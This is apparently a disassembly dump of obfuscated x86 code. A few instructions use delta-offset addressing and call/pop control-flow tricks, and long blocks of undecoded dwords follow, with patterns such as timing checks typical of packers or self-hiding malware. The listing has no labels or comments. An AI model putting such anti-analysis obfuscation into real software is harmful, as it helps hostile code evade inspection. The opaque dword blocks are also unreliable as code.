loc_58B37C:				; CODE XREF: sub_58A891+AD6j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_58B396
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+7D3DF03h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_58B396:				; CODE XREF: sub_58A891+AF2j
		push	0
		push	edx
		call	loc_58B3A1
		and	[edx-3Dh], bl


loc_58B3A1:				; CODE XREF: sub_58A891+B08p
		pop	edx
		mov	[esp+6+var_4+2], edx
		add	[esp+6+var_4+2], 19h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	29h, 0CDh
		dd 0F3D6C60h, 6AD7BFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 25B7DFC3h, 0C18D89BDh, 8B07D11Bh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 27B378Ch, 0E4BAD0BAh, 0DAB70F61h, 2EC5BD83h
		dd 0F0007D1h, 16984h, 0FE900h, 0D2250000h, 0B3D71224h
		dd 0F1A579D4h, 2324692Ah, 6E9FBh, 0FB50000h, 8E5BEF0Bh
		dd 269DBD83h, 0F0007D1h, 13D84h, 0D2B70F00h, 0E9952B60h
		dd 8B07D10Bh, 0D1269D85h, 0C99D8B07h, 8107D10Ch, 0C78C61DBh
		dd 3E8052Ah, 0BB660000h, 5090C86Ah, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 2BF933A0h
		dd 563520DDh, 2039BD29h, 858D07D1h, 7D14CE6h, 20F5958Bh
		dd 0BA9007D1h, 2E91CFC7h, 900BB250h, 858DDF8Bh,	7D14CC4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3BC35545h
		dd 0E522D59h, 87AD1ADFh, 1DF1958Bh, 2EBB07D1h, 5020CD66h
		dd 0B59993BBh, 24048937h, 0A91FE381h, 9D895613h, 7D12755h
		dd 0B595FFh, 0BB6607D1h, 0C4831F6Fh, 0D5B5890Ch, 8D07D11Ah
		dd 0D14CC485h, 5D950B07h, 9007D117h, 0BA665250h, 310FD69Ah
		dd 585AD78Bh, 0CDE9BA50h, 0F9903DB1h, 3AB3026Ah, 0ED1495FFh
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0F91DD4C3h, 95B9BCEDh, 8A3605FAh,	6A61D0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 5BA9F0C3h, 0CB62C381h, 85C709B4h, 7D14CF7h, 1, 9A30DB81h
		dd 9D336965h, 7D11405h,	11E896h, 0BC8C0000h, 803AAC2Eh
		dd 3F7B72CFh, 0D53236AFh, 60DCDAAEh, 52506CB2h,	585A310Fh
		dd 0BB505A61h, 5173FA2Ah, 53006A96h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 1E2B24F1h
		dd 0E6B0E0F8h, 0C1958Bh, 0B58907D1h, 7D14CA8h, 837FC680h
		dd 0D11715BDh, 850F0107h, 17h, 0F05F883h, 0E85h, 0D3B70F00h
		dd 0B8h, 0DDC28100h, 837B804Ch,	0D108CDBDh, 840F0007h
		dd 2Fh,	0FED9523h, 0E96007D1h, 7, 436C7ECAh, 66C17B0Ch
		dd 95FFD98Bh, 7D108CDh,	68D0Fh,	8D090000h, 7D121A1h, 159D8B61h
		dd 8307D128h, 0D12C25BDh, 840F0007h, 13h, 5A58D89h, 0B7B607D1h
		dd 0B8h, 99B53100h, 6007D116h, 1CFD9D8Bh, 858B07D1h, 7D11E25h
		dd 0C08388B6h, 0FCD68B02h, 4CA08589h, 8D2907D1h, 7D122BDh
		dd 0BBFF00C6h, 537DA8E4h, 31B585C6h, 685307D1h,	9FA00E0Ch
		dd 81D68B66h, 3ACC2404h, 9D015D11h, 7D118F1h, 7899501h
		dd 0B5FF07D1h, 7D10831h, 2F098D01h, 858D07D1h, 7D4A6EAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ABC35141h
		dd 9A51E3E5h, 0D8C3991Eh, 81D0FF40h, 0F8EC6AC3h, 0EF2FBB0Ah
		dd 8589675Fh, 7D10055h,	8244BA66h, 875BD83h, 0F0107D1h
		dd 0C285h, 0F1958B00h, 8907D12Dh, 0D12D058Dh, 958B6107h
		dd 7D12385h, 31B585C6h,	0E94507D1h, 9, 1FB37044h, 0C90613E3h
		dd 0D99D33B5h, 0E807D110h, 4, 0DA6038C2h, 5050D08Bh, 0A109BB52h
		dd 310F7583h, 98E5F3BBh, 8B585A2Fh, 0BB042444h,	3817803Ah
		dd 0BA66008Bh, 44897244h, 0BA660424h, 8158253Dh, 74889FDAh
		dd 31B5FF64h, 6A07D108h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 63C1C356h, 512019DFh
		dd 8D91A5D9h, 25A59503h, 858D07D1h, 7D4A6EAh, 23219D29h
		dd 0B58907D1h, 7D13449h, 0B589D0FFh, 7D11D4Dh, 9D89006Ah
		dd 7D1316Dh, 8166D0FFh,	834173C2h, 0D121B5BDh, 850F0107h
		dd 0EEh, 94D1B860h, 61F87B32h, 2A14D381h, 858B69A3h, 7D11E25h
		dd 0ADE6D381h, 9DE90B7Ah, 0F000000h, 8B60DEB7h,	0D1288995h
		dd 0BE907h, 24210000h, 0E6B70A9Bh, 0C64B31CEh, 0BA50618Fh
		dd 4DB318AAh, 56240489h, 6E960h, 46230000h, 9BB23EE0h
		dd 62DE8166h, 6A5A61AEh, 51006A14h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 2D08B6D4h, 258D894Bh
		dd 0FF07D107h, 0D1005595h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 718E4E7Ah
		dd 2EA4293h, 66F8C834h,	58C8A6BBh, 2D999529h, 0B52907D1h
		dd 7D1313Dh, 0F003880h,	0FFFF7585h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 7637A179h
		dd 100C6B2h, 0E48CB81h,	6A613CFEh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9609C352h
		dd 371A097Fh, 0BF0F7729h, 98D0FD7h, 0F000000h, 380h, 0DABF0F00h
		dd 21F1BD83h, 0F0007D1h, 9484h,	0B1BD8900h, 6A07D132h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 12EE6416h, 0EC38129h, 567D9609h,	5ADF8B66h
		dd 5595FFh, 6A07D1h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 8CCF3AC3h, 0C36D2171h, 0F1FE24Ch
		dd 38Ch, 0F6E38000h, 0FFFF9AE9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0EEA3735Bh
		dd 1E71FD7h, 0D11A05B5h, 0F185C707h, 107D121h, 0BB000000h
		dd 4B02B0BEh, 4CAC8589h, 0C28007D1h, 50609057h,	66310F52h
		dd 5A29DDBAh, 0B8525058h, 573CFB96h, 27BE310Fh,	5A4FD478h
		dd 8A506158h, 6A90D7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 665A31C3h, 1170B245h, 7E9E0h, 1A970000h
		dd 0FD492175h, 6A60B3h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 5352B0C3h, 9D8BE01Ch, 7D12165h
		dd 958B056Ah, 7D126F9h,	4CC4858Dh, 953107D1h, 7D10651h
		dd 60525050h, 310F5250h, 870F585Ah, 0
		dd 0F310F61h, 28Dh, 5AF38A00h, 24048958h, 1FED958Bh, 858D07D1h
		dd 7D14CB4h, 50F08A90h,	0D708B960h, 90614C0Ah, 30C19589h
		dd 0BB6607D1h, 95FFDC0Ch, 7D133BDh, 98D0Fh, 29600000h
		dd 0D12EADBDh, 8D61F507h, 0D179548Dh, 4880F07h,	66000000h
		dd 0BA75BBAh, 8D1174C0h, 0D14CC485h, 0D1FF5007h, 4CE28589h
		dd 0AEB07D1h, 4CE285C7h, 0FFFF07D1h, 7E8FFFFh, 38000000h
		dd 0A0EB915Bh, 6657A405h, 7B57C281h, 6A5A5Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0AE093BC3h
		dd 13E9h, 45948800h, 21B31208h,	3D5A9E9Fh, 48318D9Bh, 4FA3A2F9h
		dd 0AE8h, 49894A00h, 39610A95h,	8B82F257h, 31615BD6h, 0D1112185h
		dd 0B585C607h, 4D07D131h, 118A0FF9h, 0E8000000h, 9, 5305D971h
		dd 0E24DDA79h, 5A616056h, 21712468h, 8150B672h,	5842404h
		dd 958B3214h, 7D13491h,	2C01B5FFh, 9D8B07D1h, 7D1152Dh
		dd 32F19D8Bh, 858D07D1h, 7D4A6EAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 8EC35747h, 0E6437EABh, 0D0FFFE8Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 8BC35040h
		dd 0C452BA3Ah, 85897170h, 7D11AA9h, 0E8DFBF0Fh,	0Dh, 0FD9D19D2h
		dd 0EC0D4FBFh, 0B9618Ah, 0EB8166C5h, 0C65A6CBBh, 0D131B585h
		dd 958B4507h, 7D113BDh,	0FEC9EC68h, 14E994h, 0A5250000h
		dd 0E07B8D15h, 0AC84D7DDh, 2D50EA48h, 95145223h, 34810A37h
		dd 8CA08524h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F7E4CDFh, 0B5FFD7B7h, 7D10831h
		dd 6890Fh, 9D8B0000h, 7D132B1h,	0A6EA858Dh, 0B75107D4h
		dd 0D0FF5BF6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	13C35141h, 666DF238h, 89AF95BBh, 0D1309185h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0D28B3ED3h, 958BDE8Bh, 7D11495h, 89D98C66h, 0D11AF19Dh
		dd 4C1F607h, 1BC840Fh, 950B0000h, 7D1165Dh, 10DE9h, 0EE900h
		dd 69690000h, 9B2838B9h, 7EA68CCEh, 38BCB610h, 915B58Bh
		dd 0BB6607D1h, 27BA691Bh, 81478CFBh, 1180C6h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8B4E4659h, 0D117A195h, 45BD8307h, 7D12Eh, 11850Fh, 85890000h
		dd 7D1328Dh, 9DE9h, 259D2300h, 8307D11Ah, 840F003Eh, 8Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F2C35040h
		dd 0DAB75ECBh, 1F7DBD89h, 6A6007D1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DCC9C356h
		dd 0A0343A48h, 8A9118F4h, 15419D89h, 146A07D1h,	95FF41B2h
		dd 7D10055h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	41C35040h, 27F86B07h, 1B71863Dh, 0F48A61F9h, 0FFFF6EE9h
		dd 30BCBAFFh, 6C71D8Eh,	1, 2859B589h, 0BD8307D1h, 7D14CACh
		dd 97850F05h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8168C357h, 2CEF99Ch
		dd 6F2CB81h, 0B58B692Dh, 7D13091h, 8598589h, 64B907D1h
		dd 56000000h, 3B1958Bh,	805A07D1h, 840FE83Eh, 1Eh, 11E9h
		dd 0CA704500h, 0E7CAC5A4h, 3E006C75h, 6978EFD2h, 0FE9B27Ah
		dd 80000000h, 7E8061EEh, 840FC205h, 1Ah, 8A46F38Ah, 850F49F9h
		dd 0FFFFFFC3h, 66D8D89h, 0FE907D1h, 80000000h, 0B58959DBh
		dd 7D133C9h, 33219523h,	805807D1h, 0BD834CEFh, 7D12551h
		dd 2F840F00h, 0E9000001h, 6, 0D7E8DA52h, 0E96019E9h, 9
		dd 230BB31Ch, 0AFD31490h, 0B585C6FAh, 5407D131h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7EC35646h, 8F6B4CDAh
		dd 8D898A9Eh, 7D11755h,	0D97BA968h, 48E0FADh, 66000000h
		dd 81EE0CBAh, 434B2404h, 6A5175h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 9B0ED6C3h, 0EE8h, 0BED4F200h
		dd 0AC19E3ADh, 4CD4980Fh, 8B912BDDh, 0D12B8995h, 0B5FF5A07h
		dd 7D10831h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	12C35545h, 0B8806DCCh, 2B98C78Bh, 0D121C19Dh, 0EA858D07h
		dd 2B07D4A6h, 0D129E19Dh, 0C3816607h, 0D0FFC481h, 80006AFCh
		dd 0B5FF5AD3h, 7D12551h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 1EC35646h, 8F0Fh, 8B660000h, 6AD0FFDEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 6152C350h, 197D958Bh, 85C707D1h, 7D11BC5h
		dd 1, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 15h
		dd 3C35141h, 0AE99Eh, 61A70000h, 0D5DC642Ch, 0E81A00A8h
		dd 14E860h, 5BA70000h, 12ED9FC6h, 781D0D66h, 8E266AA7h
		dd 92AA9399h, 0F52995Ch, 8Dh, 685A5B00h, 47060CFFh, 3481D38Ah
		dd 60C7F24h, 128C0F47h,	0E9000000h, 0Dh, 7C0449E6h, 0EB43999Eh
		dd 3D8CBBFAh, 33FF6A2Dh, 0D11B7995h, 0E995FF07h, 8B07D132h
		dd 0D103C995h, 0CE907h,	3C980000h, 209FE34Bh, 5AFFFA67h
		dd 6A61ACE4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 428BC352h, 0FE9h, 0E560F00h, 4816361Bh
		dd 31AF9024h, 0C073AA7Ah, 13E952h, 159A0000h, 866F578Ch
		dd 0EC93DB13h, 0C6106ED0h, 0AF94DAB6h, 0B6505BF5h, 24048907h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A6C35242h
		dd 57A1198Eh, 50F8EEAAh, 858BD08Bh, 7D13209h, 22E99D8Bh
		dd 0C00B07D1h, 5D840Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 958B90C3h, 7D12C91h
		dd 257595FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 12EF0CC3h, 0BE960h, 903F0000h, 0D9A02F70h
		dd 729AFDC6h, 42EB8158h, 0C7696122h, 0D1230185h, 107h
		dd 83D68B00h, 0D11465BDh, 840F0007h, 0Ch, 2D3995FFh, 852907D1h
		dd 7D11B69h, 1795BD83h,	0F0007D1h, 0E84h, 0C2816600h, 95FFD9FFh
		dd 7D12479h, 83DA8B66h,	0D120DDBDh, 840F0007h, 3Ch, 0D1BD83F9h
		dd 7D125h, 2E850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 190424h, 53430000h, 1073FAC3h, 662A84D5h
		dd 0FFA20ABBh, 0D106B195h, 70CA8007h, 16A9BD83h, 0F0007D1h
		dd 3884h, 9D9D3100h, 8107D123h,	0D113D585h, 400307h, 12E900h
		dd 0A59C0000h, 31CA7726h, 9C24848Fh, 4FF5A9F2h,	701C03E3h
		dd 20118581h, 400307D1h, 2BF80000h, 0D12C799Dh,	6A310F07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0A5C6C352h, 0BF0FED48h, 0A18D8DD2h, 6A07D15Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0D890C357h, 0FE9F687h
dword_58C25C	dd 4000000h, 0FA0BBC97h, 1AD098DBh, 971FC718h, 189F231h
		dd 33D88B66h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 888CD8AFh, 0C8C283E2h, 97BA9463h
		dd 896EC3F1h, 6A0441h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 8D7FFAC3h, 1AB17CCDh, 0F1CB7CFh
		dd 0E1B53131h, 8B07D11Bh, 0D12F3D9Dh, 0C28D8D07h, 6A07D15Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0B619C353h, 6860Fh, 0CA810000h, 112A836Dh
		dd 8B660189h, 89C233D0h, 95890441h, 7D110B9h, 20CDBD83h
		dd 0F0007D1h, 1784h, 55950300h,	0FF07D120h, 0D10CA595h
		dd 5850F07h, 66000000h,	6480C281h, 33B5BD83h, 0F0107D1h
		dd 3C85h, 4DB52900h, 0E907D11Ch, 31h, 2219BD89h, 0B58B07D1h
		dd 7D15D0Dh, 6C7h, 0B58B0000h, 7D15B11h, 6C7h, 0FCF0000h
		dd 0A8Fh, 5E900h, 0F3520000h, 0B22E2F5Eh, 1BD83D1h, 7D123h
		dd 176840Fh, 83FC0000h,	0D11F59BDh, 850F0107h, 158h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 51C35646h, 5C736670h
		dd 0E4BB66A8h, 0A08D8BCCh, 307D14Ch, 0D131619Dh, 0ADB50907h
		dd 0C607D116h, 0D68B0001h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B20CCC23h
		dd 0CAC4FC91h, 66605440h, 0A018E781h, 0FE8h, 8E601F00h
		dd 27AD3AF3h, 87527C98h, 0EF54F3D0h, 1021BD89h,	615E07D1h
		dd 2DF19589h, 1C6807D1h, 51B3FC35h, 0DE8h, 44262000h, 12DCE2Ah
		dd 0E0AD7D5Dh, 0F58ABCDFh, 4815B5Bh, 3CB6424h, 2591BB4Ch
		dd 0FF6A20BDh, 0B70F6053h, 35BB66FEh, 895B6129h, 0D11C09BDh
		dd 0E995FF07h, 6A07D132h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 98ACC350h, 660B160Bh
		dd 964EC281h, 31D59589h, 96107D1h, 0D12379BDh, 0FFD68B07h
		dd 0D12BC995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0EB0586Ch, 8D89CE4Dh
		dd 7D1255Dh, 4CA08D8Bh,	6A07D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 27BAA7C3h, 9D8901FEh
		dd 7D11DD9h, 1C35BD83h,	0F0107D1h, 385h, 38DA8000h, 0BD89C08Bh
		dd 7D10C15h, 3405BD83h,	750007D1h, 49BD8309h, 7D128h, 53501A74h
		dd 858BC08Bh, 7D113D5h,	13D58589h, 9D8D07D1h, 7D3E1B0h
		dd 585BD3FFh, 2849BD83h, 740007D1h, 8B535018h, 0D113D585h
		dd 0D5858907h, 8D07D113h, 0D3DE9F9Dh, 5BD3FF07h, 0FD38B58h
		dd 8BF8D9B7h, 9D0953C0h, 7D11C0Dh, 1BD835Bh, 7D123h, 2B850Fh
		dd 8D0F0000h, 10h, 0BE9h, 0D3E94100h, 0EA2512D2h, 43A380Bh
		dd 1129BD83h, 0F0007D1h, 884h, 89DA8B00h, 0D131C59Dh, 1BD8307h
		dd 7D123h, 56840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B7940C3h, 61BD83D8h
		dd 7D107h, 2A840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0C8B439C3h, 0E2636E35h
		dd 958B611Ch, 7D12A01h,	2301BD83h, 0F0007D1h, 1C84h, 89858900h
		dd 8307D118h, 0D10761BDh, 840F0007h, 9,	3DEBF0Fh, 0D1317995h
		dd 1BD8307h, 7D123h, 25840Fh, 880F0000h, 0Ch, 68A0Fh, 0B5890000h
		dd 7D13119h, 579BD83h, 0F0007D1h, 684h,	419D8B00h, 8307D128h
		dd 0D12301BDh, 840F0007h, 28h, 1ABDBD83h, 0F0007D1h, 1B84h
		dd 3800F00h, 80000000h,	952B06F3h, 7D13441h, 104D95FFh
		dd 9D8B07D1h, 7D100A5h,	0F18AC08Bh, 3405BD83h, 750007D1h
		dd 49BD8309h, 7D128h, 53501A74h, 858BC08Bh, 7D12011h, 20118589h
		dd 9D8D07D1h, 7D3E217h,	585BD3FFh, 2849BD83h, 740007D1h
		dd 8B535018h, 0D1201185h, 11858907h, 8D07D120h,	0D3DEB89Dh
		dd 5BD3FF07h, 0D98D3158h, 0B607D131h, 29C08BBDh, 0D11BBD9Dh
		dd 1BD8307h, 7D123h, 54C840Fh, 8C0F0000h, 6, 7C1B501h
		dd 816607D1h, 834DB0C2h, 0D10875BDh, 840F0207h,	5Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0F3C35040h, 25158589h
		dd 0BD8307D1h, 7D133B5h, 2C850F01h, 0F000000h, 68Ch, 91958900h
		dd 0E807D12Bh, 14h, 0ED3C3A80h,	842DE3A1h, 654EF3C2h, 14CB4027h
		dd 116916Ch, 1AAD9503h,	605A07D1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 2AC35242h, 13229E77h, 0BE8F7h
		dd 4B3B0000h, 0A01B9070h, 0B3EB1A15h, 11E928h, 8E7E0000h
		dd 20DEEC21h, 951F952Ch, 0B9C48100h, 5A9FBF4Dh,	4CA08D8Bh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0D91F29C3h, 60ADFD2Bh, 8917660Ch,	0D1322585h
		dd 6A01FE07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 7FDEC351h, 8D0FC981h, 18h, 13E9h
		dd 0A06DEC00h, 0D4781477h, 4E0D516Ch, 8F52941Fh, 0B1803C9Fh
		dd 11E9h, 0D4B22100h, 4CAB04FEh, 913F1D6Ah, 7BDBBB07h
		dd 4E8FD26h, 80000000h,	0B7000000h, 0F88A5030h,	424448Bh
		dd 8BD7B3h, 10E8h, 3BE38700h, 0D1744846h, 0A20C5CF7h, 71DF4B38h
		dd 0E9525092h, 7, 8AC75DD3h, 0F49984Ah,	5A585A31h, 4244489h
		dd 13E8h, 0EDEC5E00h, 0DDDB0591h, 0CCC44E90h, 0E8F6AF7Fh
		dd 18FE8083h, 585BDA8Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 17C35545h, 4D5B04AEh,	89E2A9D9h, 0D11BC1BDh
		dd 66FF6A07h, 1424DA81h, 32E995FFh, 958B07D1h, 7D12039h
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 94390CE9h, 0D7AFBB84h, 0BD8D7333h, 7D11D71h
		dd 0AE8h, 0E5AE6600h, 4975B208h, 8B9CFC09h, 0D1184595h
		dd 840F5A07h, 1Fh, 13E8h, 0BD225800h, 1AAA4B25h, 23DA2F8Ah
		dd 575DE391h, 58B09276h, 21919523h, 8B5B07D1h, 6A1C4Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 784922C3h, 62E7B133h, 0F8FAC780h, 8152016Ah,	0E1EAF2C3h
		dd 0B6505B18h, 240C8953h, 0CE8h, 0EA13A700h, 0E8E12989h
		dd 71B8B6C4h, 5AC5B715h, 6EC0858Dh, 958907D4h, 7D13119h
		dd 28719D29h, 0D0FF07D1h, 4F8BD38Bh, 52006A20h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 68583492h
		dd 6A036A92h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 50D9C355h, 12E9h, 0D093DF00h
		dd 1542944Fh, 79CD3804h, 977FB8Ch, 89C99F82h, 6A240Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0DFDD18C3h, 4B518213h, 6EC0858Dh, 6A07D4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 824AB4C3h
		dd 9E79EA2h, 53E23992h,	0F056DB81h
		dd 895B2E4Ah, 0D11605B5h, 80D0FF07h, 0B589BED2h, 7D11E9Dh
		dd 1D71BD8Dh, 0BD8907D1h, 7D115D9h, 6A1C4F8Bh, 0FE801h
		dd 0ABBE0000h, 0EB75848Eh, 0BE425FE4h, 8D741473h, 83BA66E4h
		dd 0B2505A01h, 240C89A5h, 0C3EA8166h, 0C0858D34h, 6A07D46Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 9C17C352h, 244D958Bh, 0D0FF07D1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B6C35545h, 0F99D8BE7h
		dd 8907D122h, 0D12D458Dh, 204F8B07h, 18D28166h,	34F680BFh
		dd 0B70F036Ah, 0BA5391D1h, 4A143C52h, 0E953505Ah, 0Fh
		dd 0DA80BFA8h, 1B9CDBBEh, 7C4062DCh, 5AF1AEBAh,	96C28191h
		dd 8D2B4BAAh, 0D46EC085h, 9D8B5307h, 7D12189h, 8BD0FF5Bh
		dd 0D120859Dh, 0A08D8B07h, 6A07D14Ch, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 7336C350h
		dd 8B2CFE2Ch, 0FEF7B7DEh, 18850F01h, 0E9000000h, 13h, 53FEDDF1h
		dd 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 8BA26CEFh, 0D14CA085h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6600FEBBh, 0D2D9D381h, 6A016Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 2FD59DC3h, 6647733Fh, 689CACBBh, 0EB40FC01h,	4890Fh
		dd 8B600000h, 348161FBh, 0BF63FE24h, 0E59D8B14h, 8B07D126h
		dd 0D1002995h, 0CA858D07h, 0E807D46Eh, 11h, 0D0E3AEBCh
		dd 80FE38BFh, 0A40182E3h, 0CB96FDAAh, 15B58992h, 5B07D129h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 890B01C3h, 0D78B6628h, 58BB6651h,	0BD835B8Ch
		dd 7D11129h, 9A840F00h,	89000000h, 0D1270DBDh, 15BD8307h
		dd 107D117h, 87850Fh, 0C6800000h, 0D48D8D79h, 6A07D46Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8922C355h, 0D103D59Dh, 8B036A07h,	0D106BD9Dh
		dd 81016A07h, 0EE5793F3h, 6AD1FF37h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 47F3C353h
		dd 0B3AC7D82h, 8589016Ah, 7D11935h, 34499529h, 16A07D1h
		dd 60D1FFFCh, 0ECE88166h, 69BF66C8h, 0D5E86107h, 8BF88A6Fh
		dd 0D120099Dh, 8B206A07h, 0D11B8D95h, 0BAFF6A07h, 0FF055C1h
		dd 32E995FFh, 0EF8007D1h, 0B8B3h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0C00BEEC3h
		dd 86840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0B052E7C3h, 0AE658F98h, 9D8B56EAh
		dd 7D131E5h, 299D8B5Bh,	8307D10Ch, 0D11DE1BDh, 840F0007h
		dd 48h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 0CC35343h, 64BB4ED0h, 0FF626794h, 0D11B8195h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 51C2803Bh, 1E25858Bh, 0B50107D1h, 7D11541h, 890000C6h
		dd 0D103A58Dh, 0BA665807h, 8C666127h, 0C1F6FCD9h, 2C840F04h
		dd 1000000h, 0D1152595h, 21E907h, 0E6800000h, 15B58BBEh
		dd 8B07D109h, 0D1188195h, 80C68107h, 0C7000011h, 6, 9BE28100h
		dd 5E18369Eh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	64C35646h, 7CBB6E40h, 833EB4D2h, 840F00F8h, 0BF3h
		dd 1ED1958Bh, 0B58907D1h, 7D11C29h, 0F01F883h, 1C485h
		dd 0D08B6600h, 33070FBAh, 0B83Dh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 30EAA8C3h
		dd 29D1CDEh, 0FC00B9Dh,	11E84h,	3BCA8000h, 0F01F883h, 15F84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
